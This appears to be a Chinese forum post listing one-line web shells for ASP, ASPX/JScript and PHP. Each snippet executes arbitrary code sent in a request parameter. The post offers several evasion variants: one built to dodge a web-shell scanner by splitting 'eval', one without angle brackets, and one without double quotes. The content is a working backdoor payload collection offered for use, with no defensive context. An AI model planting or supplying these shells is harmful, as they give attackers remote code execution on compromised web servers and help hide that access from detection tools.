|
<%eval request("MH")%>
<%execute request("MH")%>
<%execute(request("MH"))%>
<%If Request("MH")<>"" Then Execute(Request("MH"))%>
<%if request ("MH")<>""then session("MH")=request("MH"):end if:if session("MH")<>"" then execute session("MH")%>
<SCRIPT language=VBScript runat="server">execute request("MH")</SCRIPT>
<%@ Page Language="Jscript"%>
<%eval(Request.Item["MH"],"unsafe");%>
asp一句话
<%execute(request("1"))%>
php一句话
<?php eval($_POST[1]);?>
aspx一句话
<script language="C#" runat="server">
WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");
</script>
可以躲过雷客图的一句话。
<%
set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.ExecuteStatement("ev"&"al(request(""1""))")
%>
不用'<,>'的asp一句话
<script language=VBScript runat=server>execute request("1")</script>
不用双引号的一句话。
<%eval request(chr(35))%> |
本文地址: https://jiufei.net/bbs/thread-682-1-1.html
|